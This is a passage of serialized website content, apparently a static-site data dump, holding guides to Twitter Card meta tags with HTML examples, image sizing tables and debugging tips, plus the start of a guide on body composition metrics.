content=\"Free Online JSON Formatter\">\n\u003Cmeta property=\"og:description\" content=\"Format and validate JSON instantly.\">\n\u003Cmeta property=\"og:image\" content=\"https:\u002F\u002Fexample.com\u002Fog-image.jpg\">\n\n\u003C!-- Twitter-specific overrides -->\n\u003Cmeta name=\"twitter:card\" content=\"summary_large_image\">\n\u003Cmeta name=\"twitter:image\" content=\"https:\u002F\u002Fexample.com\u002Ftwitter-specific-image.jpg\">\n",[143,209440,209441,209446,209467,209487,209508,209512,209517,209537],{"__ignoreMap":141},[1560,209442,209443],{"class":1562,"line":1563},[1560,209444,209445],{"class":1649},"\u003C!-- Shared across platforms -->\n",[1560,209447,209448,209450,209452,209454,209456,209458,209460,209462,209465],{"class":1562,"line":337},[1560,209449,6431],{"class":1570},[1560,209451,108827],{"class":2484},[1560,209453,67469],{"class":1566},[1560,209455,7297],{"class":1570},[1560,209457,161197],{"class":5634},[1560,209459,108854],{"class":1566},[1560,209461,7297],{"class":1570},[1560,209463,209464],{"class":5634},"\"Free Online JSON Formatter\"",[1560,209466,6441],{"class":1570},[1560,209468,209469,209471,209473,209475,209477,209479,209481,209483,209485],{"class":1562,"line":343},[1560,209470,6431],{"class":1570},[1560,209472,108827],{"class":2484},[1560,209474,67469],{"class":1566},[1560,209476,7297],{"class":1570},[1560,209478,161218],{"class":5634},[1560,209480,108854],{"class":1566},[1560,209482,7297],{"class":1570},[1560,209484,161149],{"class":5634},[1560,209486,6441],{"class":1570},[1560,209488,209489,209491,209493,209495,209497,209499,209501,209503,209506],{"class":1562,"line":365},[1560,209490,6431],{"class":1570},[1560,209492,108827],{"class":2484},[1560,209494,67469],{"class":1566},[1560,209496,7297],{"class":1570},[1560,209498,161240],{"class":5634},[1560,209500,108854],{"class":1566},[1560,209502,7297],{"class":1570},[1560,209504,209505],{"class":5634},"\"https:\u002F\u002Fexample.com\u002Fog-image.jpg\"",[1560,209507,6441],{"class":1570},[1560,209509,209510],{"class":1562,"line":889},[1560,209511,1702],{"emptyLinePlaceholder":363},[1560,209513,209514],{"class":1562,"line":1710},[1560,209515,209516],{"class":1649},"\u003C!-- Twitter-specific overrides -->\n",[1560,209518,209519,209521,209523,209525,209527,209529,209531,209533,209535],{"class":1562,"line":1717},[1560,209520,6431],{"class":1570},[1560,209522,108827],{"class":2484},[1560,209524,108846],{"class":1566},[1560,209526,7297],{"class":1570},[1560,209528,161669],{"class":5634},[1560,209530,108854],{"class":1566},[1560,209532,7297],{"class":1570},[1560,209534,161676],{"class":5634},[1560,209536,6441],{"class":1570},[1560,209538,209539,209541,209543,209545,209547,209549,209551,209553,209556],{"class":1562,"line":1747},[1560,209540,6431],{"class":1570},[1560,209542,108827],{"class":2484},[1560,209544,108846],{"class":1566},[1560,209546,7297],{"class":1570},[1560,209548,161733],{"class":5634},[1560,209550,108854],{"class":1566},[1560,209552,7297],{"class":1570},[1560,209554,209555],{"class":5634},"\"https:\u002F\u002Fexample.com\u002Ftwitter-specific-image.jpg\"",[1560,209557,6441],{"class":1570},[11,209559,209561],{"id":209560},"app-and-player-cards-brief-overview","App and Player Cards (Brief Overview)",[33,209563,209565],{"id":209564},"app-card","App Card",[16,209567,209568],{},"Promotes a mobile app directly in the tweet:",[135,209570,209572],{"className":6417,"code":209571,"language":6419,"meta":141,"style":141},"\u003Cmeta name=\"twitter:card\" content=\"app\">\n\u003Cmeta name=\"twitter:site\" content=\"@yourhandle\">\n\u003Cmeta name=\"twitter:app:id:iphone\" content=\"123456789\">\n\u003Cmeta name=\"twitter:app:id:googleplay\" content=\"com.example.app\">\n\u003Cmeta name=\"twitter:app:url:iphone\" content=\"example:\u002F\u002Fdeeplink\">\n",[143,209573,209574,209595,209615,209637,209659],{"__ignoreMap":141},[1560,209575,209576,209578,209580,209582,209584,209586,209588,209590,209593],{"class":1562,"line":1563},[1560,209577,6431],{"class":1570},[1560,209579,108827],{"class":2484},[1560,209581,108846],{"class":1566},[1560,209583,7297],{"class":1570},[1560,209585,161669],{"class":5634},[1560,209587,108854],{"class":1566},[1560,209589,7297],{"class":1570},[1560,209591,209592],{"class":5634},"\"app\"",[1560,209594,6441],{"class":1570},[1560,209596,209597,209599,209601,209603,209605,209607,209609,209611,209613],{"class":1562,"line":337},[1560,209598,6431],{"class":1570},[1560,209600,108827],{"class":2484},[1560,209602,108846],{"class":1566},[1560,209604,7297],{"class":1570},[1560,209606,208996],{"class":5634},[1560,209608,108854],{"class":1566},[1560,209610,7297],{"class":1570},[1560,209612,209003],{"class":5634},[1560,209614,6441],{"class":1570},[1560,209616,209617,209619,209621,209623,209625,209628,209630,209632,209635],{"class":1562,"line":343},[1560,209618,6431],{"class":1570},[1560,209620,108827],{"class":2484},[1560,209622,108846],{"class":1566},[1560,209624,7297],{"class":1570},[1560,209626,209627],{"class":5634},"\"twitter:app:id:iphone\"",[1560,209629,108854],{"class":1566},[1560,209631,7297],{"class":1570},[1560,209633,209634],{"class":5634},"\"123456789\"",[1560,209636,6441],{"class":1570},[1560,209638,209639,209641,209643,209645,209647,209650,209652,209654,209657],{"class":1562,"line":365},[1560,209640,6431],{"class":1570},[1560,209642,108827],{"class":2484},[1560,209644,108846],{"class":1566},[1560,209646,7297],{"class":1570},[1560,209648,209649],{"class":5634},"\"twitter:app:id:googleplay\"",[1560,209651,108854],{"class":1566},[1560,209653,7297],{"class":1570},[1560,209655,209656],{"class":5634},"\"com.example.app\"",[1560,209658,6441],{"class":1570},[1560,209660,209661,209663,209665,209667,209669,209672,209674,209676,209679],{"class":1562,"line":889},[1560,209662,6431],{"class":1570},[1560,209664,108827],{"class":2484},[1560,209666,108846],{"class":1566},[1560,209668,7297],{"class":1570},[1560,209670,209671],{"class":5634},"\"twitter:app:url:iphone\"",[1560,209673,108854],{"class":1566},[1560,209675,7297],{"class":1570},[1560,209677,209678],{"class":5634},"\"example:\u002F\u002Fdeeplink\"",[1560,209680,6441],{"class":1570},[33,209682,209684],{"id":209683},"player-card","Player Card",[16,209686,209687],{},"Embeds audio or video:",[135,209689,209691],{"className":6417,"code":209690,"language":6419,"meta":141,"style":141},"\u003Cmeta name=\"twitter:card\" content=\"player\">\n\u003Cmeta name=\"twitter:site\" content=\"@yourhandle\">\n\u003Cmeta name=\"twitter:title\" content=\"Episode 42: CSS Performance\">\n\u003Cmeta name=\"twitter:player\" content=\"https:\u002F\u002Fexample.com\u002Fembed\u002F42\">\n\u003Cmeta name=\"twitter:player:width\" content=\"480\">\n\u003Cmeta name=\"twitter:player:height\" content=\"270\">\n",[143,209692,209693,209714,209734,209755,209777,209799],{"__ignoreMap":141},[1560,209694,209695,209697,209699,209701,209703,209705,209707,209709,209712],{"class":1562,"line":1563},[1560,209696,6431],{"class":1570},[1560,209698,108827],{"class":2484},[1560,209700,108846],{"class":1566},[1560,209702,7297],{"class":1570},[1560,209704,161669],{"class":5634},[1560,209706,108854],{"class":1566},[1560,209708,7297],{"class":1570},[1560,209710,209711],{"class":5634},"\"player\"",[1560,209713,6441],{"class":1570},[1560,209715,209716,209718,209720,209722,209724,209726,209728,209730,209732],{"class":1562,"line":337},[1560,209717,6431],{"class":1570},[1560,209719,108827],{"class":2484},[1560,209721,108846],{"class":1566},[1560,209723,7297],{"class":1570},[1560,209725,208996],{"class":5634},[1560,209727,108854],{"class":1566},[1560,209729,7297],{"class":1570},[1560,209731,209003],{"class":5634},[1560,209733,6441],{"class":1570},[1560,209735,209736,209738,209740,209742,209744,209746,209748,209750,209753],{"class":1562,"line":343},[1560,209737,6431],{"class":1570},[1560,209739,108827],{"class":2484},[1560,209741,108846],{"class":1566},[1560,209743,7297],{"class":1570},[1560,209745,161691],{"class":5634},[1560,209747,108854],{"class":1566},[1560,209749,7297],{"class":1570},[1560,209751,209752],{"class":5634},"\"Episode 42: CSS Performance\"",[1560,209754,6441],{"class":1570},[1560,209756,209757,209759,209761,209763,209765,209768,209770,209772,209775],{"class":1562,"line":365},[1560,209758,6431],{"class":1570},[1560,209760,108827],{"class":2484},[1560,209762,108846],{"class":1566},[1560,209764,7297],{"class":1570},[1560,209766,209767],{"class":5634},"\"twitter:player\"",[1560,209769,108854],{"class":1566},[1560,209771,7297],{"class":1570},[1560,209773,209774],{"class":5634},"\"https:\u002F\u002Fexample.com\u002Fembed\u002F42\"",[1560,209776,6441],{"class":1570},[1560,209778,209779,209781,209783,209785,209787,209790,209792,209794,209797],{"class":1562,"line":889},[1560,209780,6431],{"class":1570},[1560,209782,108827],{"class":2484},[1560,209784,108846],{"class":1566},[1560,209786,7297],{"class":1570},[1560,209788,209789],{"class":5634},"\"twitter:player:width\"",[1560,209791,108854],{"class":1566},[1560,209793,7297],{"class":1570},[1560,209795,209796],{"class":5634},"\"480\"",[1560,209798,6441],{"class":1570},[1560,209800,209801,209803,209805,209807,209809,209812,209814,209816,209819],{"class":1562,"line":1710},[1560,209802,6431],{"class":1570},[1560,209804,108827],{"class":2484},[1560,209806,108846],{"class":1566},[1560,209808,7297],{"class":1570},[1560,209810,209811],{"class":5634},"\"twitter:player:height\"",[1560,209813,108854],{"class":1566},[1560,209815,7297],{"class":1570},[1560,209817,209818],{"class":5634},"\"270\"",[1560,209820,6441],{"class":1570},[16,209822,209823],{},"Player cards require Twitter's approval before they render. Submit your domain through the Card Validator.",[11,209825,209827],{"id":209826},"debugging-twitter-cards","Debugging Twitter Cards",[77,209829,209830,209839,209845],{},[44,209831,209832,209835,209836,209838],{},[47,209833,209834],{},"Card Validator"," — Twitter's official tool at ",[143,209837,161809],{}," (requires login). Paste your URL and see exactly what Twitter will display.",[44,209840,209841,209844],{},[47,209842,209843],{},"Cache clearing"," — Twitter caches card data aggressively. If you update your meta tags, use the validator to force a re-crawl. Changes can take up to a week to propagate organically.",[44,209846,209847,209850],{},[47,209848,209849],{},"Common issues:",[41,209851,209852,209855,209861,209864],{},[44,209853,209854],{},"Image not showing: check the URL is publicly accessible and uses HTTPS",[44,209856,209857,209858,209860],{},"Wrong card type: ensure ",[143,209859,161749],{}," is the first tag in the set",[44,209862,209863],{},"Description truncated: keep under 200 characters",[44,209865,209866],{},"Image cropped oddly: use exact aspect ratios (1:1 or 2:1)",[11,209868,1355],{"id":1354},[41,209870,209871,209874,209883,209886,209889,209894,209897],{},[44,209872,209873],{},"Twitter Cards add rich previews to shared links, boosting click-through rates",[44,209875,209876,209877,209879,209880,209882],{},"Choose ",[143,209878,161627],{}," for general content or ",[143,209881,161640],{}," for visual content",[44,209884,209885],{},"Provide images at 1200×600px minimum for large image cards, 400×400px for summary",[44,209887,209888],{},"Twitter falls back to Open Graph tags — only add Twitter-specific tags when you need overrides",[44,209890,209891,209893],{},[143,209892,161749],{}," must be the first tag in your set",[44,209895,209896],{},"Use the Card Validator to debug and force cache refreshes after updates",[44,209898,209899],{},"App and Player cards require additional setup and Twitter approval",[11,209901,321],{"id":320},[41,209903,209904,209908,209912],{},[44,209905,209906],{},[98,209907,152262],{"href":152871},[44,209909,209910],{},[98,209911,152847],{"href":152846},[44,209913,209914],{},[98,209915,152853],{"href":152852},[11,209917,286],{"id":285},[16,209919,209920,209921,209923],{},"Generate Twitter Card and Open Graph meta tags in seconds with our free ",[98,209922,152836],{"href":152835},". Fill in your content details and copy the complete HTML snippet — includes standard SEO tags, OG tags, and Twitter Cards.",[2043,209925,13345],{},{"title":141,"searchDepth":337,"depth":337,"links":209927},[209928,209929,209930,209934,209935,209936,209940,209941,209942,209943],{"id":208844,"depth":337,"text":208845},{"id":208857,"depth":337,"text":208858},{"id":208952,"depth":337,"text":208953,"children":209931},[209932,209933],{"id":208956,"depth":343,"text":208957},{"id":209176,"depth":343,"text":209177},{"id":209309,"depth":337,"text":209310},{"id":209381,"depth":337,"text":209382},{"id":209560,"depth":337,"text":209561,"children":209937},[209938,209939],{"id":209564,"depth":343,"text":209565},{"id":209683,"depth":343,"text":209684},{"id":209826,"depth":337,"text":209827},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Master Twitter Card meta tags — summary, summary_large_image, app, and player cards with examples, sizing specs, and debugging tips.",{"immutable":363},{"title":153990,"description":209944},"guides\u002Ftwitter-card-meta-tags-guide","nZtFrhKf8lXlpmS01ZMZ129jWekgH1TgGh6Wb09bDGE",{"id":209950,"title":209951,"body":209952,"date":2070,"description":210625,"extension":361,"meta":210626,"navigation":363,"path":210627,"readingTime":1710,"seo":210628,"stem":210629,"__hash__":210630},"guides\u002Fguides\u002Ftwitter-card-meta-tags.md","Twitter Card Meta Tags Guide",{"type":8,"value":209953,"toc":210618},[209954,209957,209959,209962,210022,210035,210039,210042,210129,210134,210222,210225,210293,210306,210308,210311,210379,210384,210388,210391,210562,210565,210569,210572,210607,210610,210616],[16,209955,209956],{},"When someone shares your URL on Twitter (now X), the platform reads specific meta tags to decide whether to show a plain text link or a rich card with an image, title, and description. These Twitter Card meta tags are separate from Open Graph tags, though Twitter falls back to OG tags when Card-specific ones are missing. Getting them right means your links stand out in feeds and attract more clicks.",[11,209958,208858],{"id":208857},[16,209960,209961],{},"Twitter defines four card types, each with its own visual layout:",[193,209963,209964,209974],{},[196,209965,209966],{},[199,209967,209968,209970,209972],{},[202,209969,161614],{},[202,209971,77416],{},[202,209973,489],{},[211,209975,209976,209987,209999,210010],{},[199,209977,209978,209982,209984],{},[216,209979,209980],{},[143,209981,161627],{},[216,209983,208890],{},[216,209985,209986],{},"Blog posts, articles, generic pages",[199,209988,209989,209993,209996],{},[216,209990,209991],{},[143,209992,161640],{},[216,209994,209995],{},"Large banner image above text",[216,209997,209998],{},"Product pages, feature announcements, visual content",[199,210000,210001,210005,210008],{},[216,210002,210003],{},[143,210004,37236],{},[216,210006,210007],{},"Direct download button for mobile apps",[216,210009,208922],{},[199,210011,210012,210016,210019],{},[216,210013,210014],{},[143,210015,208932],{},[216,210017,210018],{},"Embedded audio\u002Fvideo player",[216,210020,210021],{},"Video content, audio podcasts, live streams",[16,210023,421,210024,1856,210026,210028,210029,210031,210032,210034],{},[143,210025,161627],{},[143,210027,161640],{}," types cover 95% of use cases. The ",[143,210030,37236],{}," card is niche, and the ",[143,210033,208932],{}," card requires approval from Twitter before it will render.",[11,210036,210038],{"id":210037},"required-meta-tags-for-summary-cards","Required Meta Tags for Summary Cards",[16,210040,210041],{},"The minimal set of tags for a summary card:",[135,210043,210045],{"className":6417,"code":210044,"language":6419,"meta":141,"style":141},"\u003Cmeta name=\"twitter:card\" content=\"summary\">\n\u003Cmeta name=\"twitter:title\" content=\"JSON Formatter Online - Free Formatting Tool\">\n\u003Cmeta name=\"twitter:description\" content=\"Format and validate JSON data instantly in your browser. No sign-up required.\">\n\u003Cmeta name=\"twitter:image\" content=\"https:\u002F\u002Fexample.com\u002Fimages\u002Fjson-formatter-card.png\">\n",[143,210046,210047,210067,210087,210108],{"__ignoreMap":141},[1560,210048,210049,210051,210053,210055,210057,210059,210061,210063,210065],{"class":1562,"line":1563},[1560,210050,6431],{"class":1570},[1560,210052,108827],{"class":2484},[1560,210054,108846],{"class":1566},[1560,210056,7297],{"class":1570},[1560,210058,161669],{"class":5634},[1560,210060,108854],{"class":1566},[1560,210062,7297],{"class":1570},[1560,210064,208981],{"class":5634},[1560,210066,6441],{"class":1570},[1560,210068,210069,210071,210073,210075,210077,210079,210081,210083,210085],{"class":1562,"line":337},[1560,210070,6431],{"class":1570},[1560,210072,108827],{"class":2484},[1560,210074,108846],{"class":1566},[1560,210076,7297],{"class":1570},[1560,210078,161691],{"class":5634},[1560,210080,108854],{"class":1566},[1560,210082,7297],{"class":1570},[1560,210084,196067],{"class":5634},[1560,210086,6441],{"class":1570},[1560,210088,210089,210091,210093,210095,210097,210099,210101,210103,210106],{"class":1562,"line":343},[1560,210090,6431],{"class":1570},[1560,210092,108827],{"class":2484},[1560,210094,108846],{"class":1566},[1560,210096,7297],{"class":1570},[1560,210098,161712],{"class":5634},[1560,210100,108854],{"class":1566},[1560,210102,7297],{"class":1570},[1560,210104,210105],{"class":5634},"\"Format and validate JSON data instantly in your browser. No sign-up required.\"",[1560,210107,6441],{"class":1570},[1560,210109,210110,210112,210114,210116,210118,210120,210122,210124,210127],{"class":1562,"line":365},[1560,210111,6431],{"class":1570},[1560,210113,108827],{"class":2484},[1560,210115,108846],{"class":1566},[1560,210117,7297],{"class":1570},[1560,210119,161733],{"class":5634},[1560,210121,108854],{"class":1566},[1560,210123,7297],{"class":1570},[1560,210125,210126],{"class":5634},"\"https:\u002F\u002Fexample.com\u002Fimages\u002Fjson-formatter-card.png\"",[1560,210128,6441],{"class":1570},[16,210130,196935,210131,210133],{},[143,210132,161640],{},", change only the card type:",[135,210135,210137],{"className":6417,"code":210136,"language":6419,"meta":141,"style":141},"\u003Cmeta name=\"twitter:card\" content=\"summary_large_image\">\n\u003Cmeta name=\"twitter:title\" content=\"Markdown Preview Tool - Live Rendering\">\n\u003Cmeta name=\"twitter:description\" content=\"Preview Markdown with math, tables, and syntax highlighting in real time.\">\n\u003Cmeta name=\"twitter:image\" content=\"https:\u002F\u002Fexample.com\u002Fimages\u002Fmarkdown-preview-banner.png\">\n",[143,210138,210139,210159,210180,210201],{"__ignoreMap":141},[1560,210140,210141,210143,210145,210147,210149,210151,210153,210155,210157],{"class":1562,"line":1563},[1560,210142,6431],{"class":1570},[1560,210144,108827],{"class":2484},[1560,210146,108846],{"class":1566},[1560,210148,7297],{"class":1570},[1560,210150,161669],{"class":5634},[1560,210152,108854],{"class":1566},[1560,210154,7297],{"class":1570},[1560,210156,161676],{"class":5634},[1560,210158,6441],{"class":1570},[1560,210160,210161,210163,210165,210167,210169,210171,210173,210175,210178],{"class":1562,"line":337},[1560,210162,6431],{"class":1570},[1560,210164,108827],{"class":2484},[1560,210166,108846],{"class":1566},[1560,210168,7297],{"class":1570},[1560,210170,161691],{"class":5634},[1560,210172,108854],{"class":1566},[1560,210174,7297],{"class":1570},[1560,210176,210177],{"class":5634},"\"Markdown Preview Tool - Live Rendering\"",[1560,210179,6441],{"class":1570},[1560,210181,210182,210184,210186,210188,210190,210192,210194,210196,210199],{"class":1562,"line":343},[1560,210183,6431],{"class":1570},[1560,210185,108827],{"class":2484},[1560,210187,108846],{"class":1566},[1560,210189,7297],{"class":1570},[1560,210191,161712],{"class":5634},[1560,210193,108854],{"class":1566},[1560,210195,7297],{"class":1570},[1560,210197,210198],{"class":5634},"\"Preview Markdown with math, tables, and syntax highlighting in real time.\"",[1560,210200,6441],{"class":1570},[1560,210202,210203,210205,210207,210209,210211,210213,210215,210217,210220],{"class":1562,"line":365},[1560,210204,6431],{"class":1570},[1560,210206,108827],{"class":2484},[1560,210208,108846],{"class":1566},[1560,210210,7297],{"class":1570},[1560,210212,161733],{"class":5634},[1560,210214,108854],{"class":1566},[1560,210216,7297],{"class":1570},[1560,210218,210219],{"class":5634},"\"https:\u002F\u002Fexample.com\u002Fimages\u002Fmarkdown-preview-banner.png\"",[1560,210221,6441],{"class":1570},[16,210223,210224],{},"The optional but recommended tags:",[135,210226,210228],{"className":6417,"code":210227,"language":6419,"meta":141,"style":141},"\u003Cmeta name=\"twitter:site\" content=\"@yourhandle\">\n\u003Cmeta name=\"twitter:creator\" content=\"@authorhandle\">\n\u003Cmeta name=\"twitter:image:alt\" content=\"Screenshot of the JSON formatter interface\">\n",[143,210229,210230,210250,210272],{"__ignoreMap":141},[1560,210231,210232,210234,210236,210238,210240,210242,210244,210246,210248],{"class":1562,"line":1563},[1560,210233,6431],{"class":1570},[1560,210235,108827],{"class":2484},[1560,210237,108846],{"class":1566},[1560,210239,7297],{"class":1570},[1560,210241,208996],{"class":5634},[1560,210243,108854],{"class":1566},[1560,210245,7297],{"class":1570},[1560,210247,209003],{"class":5634},[1560,210249,6441],{"class":1570},[1560,210251,210252,210254,210256,210258,210260,210263,210265,210267,210270],{"class":1562,"line":337},[1560,210253,6431],{"class":1570},[1560,210255,108827],{"class":2484},[1560,210257,108846],{"class":1566},[1560,210259,7297],{"class":1570},[1560,210261,210262],{"class":5634},"\"twitter:creator\"",[1560,210264,108854],{"class":1566},[1560,210266,7297],{"class":1570},[1560,210268,210269],{"class":5634},"\"@authorhandle\"",[1560,210271,6441],{"class":1570},[1560,210273,210274,210276,210278,210280,210282,210284,210286,210288,210291],{"class":1562,"line":343},[1560,210275,6431],{"class":1570},[1560,210277,108827],{"class":2484},[1560,210279,108846],{"class":1566},[1560,210281,7297],{"class":1570},[1560,210283,209081],{"class":5634},[1560,210285,108854],{"class":1566},[1560,210287,7297],{"class":1570},[1560,210289,210290],{"class":5634},"\"Screenshot of the JSON formatter interface\"",[1560,210292,6441],{"class":1570},[16,210294,421,210295,210297,210298,210301,210302,210305],{},[143,210296,209123],{}," tag associates the card with your brand account. The ",[143,210299,210300],{},"twitter:creator"," tag credits the individual author. The ",[143,210303,210304],{},"image:alt"," tag provides accessibility text for the card image.",[11,210307,209310],{"id":209309},[16,210309,210310],{},"Image sizing is where most card implementations fail. Twitter caches images aggressively and rejects cards with undersized images silently — you get a plain text link instead.",[193,210312,210313,210330],{},[196,210314,210315],{},[199,210316,210317,210319,210322,210325,210328],{},[202,210318,161614],{},[202,210320,210321],{},"Minimum Size",[202,210323,210324],{},"Maximum Size",[202,210326,210327],{},"Max File Size",[202,210329,168263],{},[211,210331,210332,210349,210364],{},[199,210333,210334,210338,210341,210344,210347],{},[216,210335,210336],{},[143,210337,161627],{},[216,210339,210340],{},"144×144 px",[216,210342,210343],{},"4096×4096 px",[216,210345,210346],{},"5 MB",[216,210348,3986],{},[199,210350,210351,210355,210358,210360,210362],{},[216,210352,210353],{},[143,210354,161640],{},[216,210356,210357],{},"300×157 px",[216,210359,210343],{},[216,210361,210346],{},[216,210363,171948],{},[199,210365,210366,210370,210373,210375,210377],{},[216,210367,210368],{},[143,210369,208932],{},[216,210371,210372],{},"128×128 px card, 640×360 px player",[216,210374,3060],{},[216,210376,210346],{},[216,210378,3078],{},[16,210380,196935,210381,210383],{},[143,210382,161640],{},", design your image at 1200×600 pixels for sharp rendering on high-DPI displays. Use PNG for screenshots and JPG for photographs. Avoid animated GIFs — Twitter converts them to static images in cards.",[11,210385,210387],{"id":210386},"player-card-implementation","Player Card Implementation",[16,210389,210390],{},"The player card embeds an iframe-based media player directly in the tweet. It requires additional tags:",[135,210392,210394],{"className":6417,"code":210393,"language":6419,"meta":141,"style":141},"\u003Cmeta name=\"twitter:card\" content=\"player\">\n\u003Cmeta name=\"twitter:title\" content=\"Live Coding Session\">\n\u003Cmeta name=\"twitter:description\" content=\"Watch the team build a REST API from scratch.\">\n\u003Cmeta name=\"twitter:image\" content=\"https:\u002F\u002Fexample.com\u002Fvideo-thumbnail.jpg\">\n\u003Cmeta name=\"twitter:player\" content=\"https:\u002F\u002Fexample.com\u002Fembed\u002Fvideo-123\">\n\u003Cmeta name=\"twitter:player:width\" content=\"480\">\n\u003Cmeta name=\"twitter:player:height\" content=\"270\">\n\u003Cmeta name=\"twitter:player:stream\" content=\"https:\u002F\u002Fexample.com\u002Fvideo-123.mp4\">\n",[143,210395,210396,210416,210437,210458,210479,210500,210520,210540],{"__ignoreMap":141},[1560,210397,210398,210400,210402,210404,210406,210408,210410,210412,210414],{"class":1562,"line":1563},[1560,210399,6431],{"class":1570},[1560,210401,108827],{"class":2484},[1560,210403,108846],{"class":1566},[1560,210405,7297],{"class":1570},[1560,210407,161669],{"class":5634},[1560,210409,108854],{"class":1566},[1560,210411,7297],{"class":1570},[1560,210413,209711],{"class":5634},[1560,210415,6441],{"class":1570},[1560,210417,210418,210420,210422,210424,210426,210428,210430,210432,210435],{"class":1562,"line":337},[1560,210419,6431],{"class":1570},[1560,210421,108827],{"class":2484},[1560,210423,108846],{"class":1566},[1560,210425,7297],{"class":1570},[1560,210427,161691],{"class":5634},[1560,210429,108854],{"class":1566},[1560,210431,7297],{"class":1570},[1560,210433,210434],{"class":5634},"\"Live Coding Session\"",[1560,210436,6441],{"class":1570},[1560,210438,210439,210441,210443,210445,210447,210449,210451,210453,210456],{"class":1562,"line":343},[1560,210440,6431],{"class":1570},[1560,210442,108827],{"class":2484},[1560,210444,108846],{"class":1566},[1560,210446,7297],{"class":1570},[1560,210448,161712],{"class":5634},[1560,210450,108854],{"class":1566},[1560,210452,7297],{"class":1570},[1560,210454,210455],{"class":5634},"\"Watch the team build a REST API from scratch.\"",[1560,210457,6441],{"class":1570},[1560,210459,210460,210462,210464,210466,210468,210470,210472,210474,210477],{"class":1562,"line":365},[1560,210461,6431],{"class":1570},[1560,210463,108827],{"class":2484},[1560,210465,108846],{"class":1566},[1560,210467,7297],{"class":1570},[1560,210469,161733],{"class":5634},[1560,210471,108854],{"class":1566},[1560,210473,7297],{"class":1570},[1560,210475,210476],{"class":5634},"\"https:\u002F\u002Fexample.com\u002Fvideo-thumbnail.jpg\"",[1560,210478,6441],{"class":1570},[1560,210480,210481,210483,210485,210487,210489,210491,210493,210495,210498],{"class":1562,"line":889},[1560,210482,6431],{"class":1570},[1560,210484,108827],{"class":2484},[1560,210486,108846],{"class":1566},[1560,210488,7297],{"class":1570},[1560,210490,209767],{"class":5634},[1560,210492,108854],{"class":1566},[1560,210494,7297],{"class":1570},[1560,210496,210497],{"class":5634},"\"https:\u002F\u002Fexample.com\u002Fembed\u002Fvideo-123\"",[1560,210499,6441],{"class":1570},[1560,210501,210502,210504,210506,210508,210510,210512,210514,210516,210518],{"class":1562,"line":1710},[1560,210503,6431],{"class":1570},[1560,210505,108827],{"class":2484},[1560,210507,108846],{"class":1566},[1560,210509,7297],{"class":1570},[1560,210511,209789],{"class":5634},[1560,210513,108854],{"class":1566},[1560,210515,7297],{"class":1570},[1560,210517,209796],{"class":5634},[1560,210519,6441],{"class":1570},[1560,210521,210522,210524,210526,210528,210530,210532,210534,210536,210538],{"class":1562,"line":1717},[1560,210523,6431],{"class":1570},[1560,210525,108827],{"class":2484},[1560,210527,108846],{"class":1566},[1560,210529,7297],{"class":1570},[1560,210531,209811],{"class":5634},[1560,210533,108854],{"class":1566},[1560,210535,7297],{"class":1570},[1560,210537,209818],{"class":5634},[1560,210539,6441],{"class":1570},[1560,210541,210542,210544,210546,210548,210550,210553,210555,210557,210560],{"class":1562,"line":1747},[1560,210543,6431],{"class":1570},[1560,210545,108827],{"class":2484},[1560,210547,108846],{"class":1566},[1560,210549,7297],{"class":1570},[1560,210551,210552],{"class":5634},"\"twitter:player:stream\"",[1560,210554,108854],{"class":1566},[1560,210556,7297],{"class":1570},[1560,210558,210559],{"class":5634},"\"https:\u002F\u002Fexample.com\u002Fvideo-123.mp4\"",[1560,210561,6441],{"class":1570},[16,210563,210564],{},"Important restrictions on player cards: the player URL must serve HTTPS, the iframe must be responsive, and Twitter must whitelist your domain before player cards will render. Submit your domain through the Twitter Card Validator for approval.",[11,210566,210568],{"id":210567},"debugging-and-validation","Debugging and Validation",[16,210570,210571],{},"Twitter's Card Validator tool was removed in 2023, but you can still debug cards effectively:",[77,210573,210574,210580,210586,210595,210601],{},[44,210575,210576,210579],{},[47,210577,210578],{},"Use the URL debugger"," at cards-dev.twitter.com\u002Fvalidator (when available) or the newer Twitter developer tools.",[44,210581,210582,210585],{},[47,210583,210584],{},"Check your tags"," with a meta tag inspector that parses both Twitter and Open Graph tags.",[44,210587,210588,210591,210592,210594],{},[47,210589,210590],{},"Force cache refresh"," by appending a query parameter to your URL when sharing: ",[143,210593,161831],{}," tells Twitter to re-fetch the page metadata.",[44,210596,210597,210600],{},[47,210598,210599],{},"Verify HTTPS"," — Twitter will not render cards for pages served over HTTP.",[44,210602,210603,210606],{},[47,210604,210605],{},"Test the fallback chain"," — remove your Twitter tags temporarily and confirm that your Open Graph tags produce acceptable results.",[16,210608,210609],{},"The most common failure is forgetting that Twitter caches card data aggressively. If you update your meta tags, the old card may persist for days. Increment your URL version or use the cache-busting query parameter trick to push updates live.",[16,210611,210612,210613,210615],{},"Twitter Card tags work best when combined with comprehensive Open Graph and structured data markup. Build all three at once using the meta tag generator at ",[98,210614,152835],{"href":152835}," to ensure consistent previews across every platform.",[2043,210617,10928],{},{"title":141,"searchDepth":337,"depth":337,"links":210619},[210620,210621,210622,210623,210624],{"id":208857,"depth":337,"text":208858},{"id":210037,"depth":337,"text":210038},{"id":209309,"depth":337,"text":209310},{"id":210386,"depth":337,"text":210387},{"id":210567,"depth":337,"text":210568},"Implement summary, summary_large_image, and player Twitter Card tags for rich link previews.",{},"\u002Fguides\u002Ftwitter-card-meta-tags",{"title":209951,"description":210625},"guides\u002Ftwitter-card-meta-tags","y3maU5pdisvCeltYjCfltaFzD82F7fHO45Z9AI12JGw",{"id":210632,"title":210633,"body":210634,"date":2070,"description":211116,"extension":361,"meta":211117,"navigation":363,"path":211118,"readingTime":889,"seo":211119,"stem":211120,"__hash__":211121},"guides\u002Fguides\u002Funderstanding-body-composition-metrics.md","Understanding Body Composition Metrics",{"type":8,"value":210635,"toc":211097},[210636,210640,210643,210646,210650,210652,210655,210661,210715,210718,210720,210723,210729,210736,210740,210743,210757,210760,210764,210850,210856,210860,210863,210868,210874,210879,210885,210888,210892,210896,210899,210905,210956,210959,210961,210964,210968,210971,211031,211034,211038,211070,211072,211089,211091],[11,210637,210639],{"id":210638},"why-weight-alone-is-misleading","Why Weight Alone Is Misleading",[16,210641,210642],{},"Two people weigh 80 kg. One is a runner with 12% body fat; the other is sedentary with 30% body fat. The scale says they are identical. Their health profiles are nothing alike.",[16,210644,210645],{},"Body composition breaks your weight into meaningful categories: fat mass, lean mass (muscle, bones, organs), and water. These proportions matter far more than total weight for evaluating health.",[11,210647,210649],{"id":210648},"the-core-metrics","The Core Metrics",[33,210651,15949],{"id":15948},[16,210653,210654],{},"The proportion of your total weight that is fat. This is the single most informative body composition 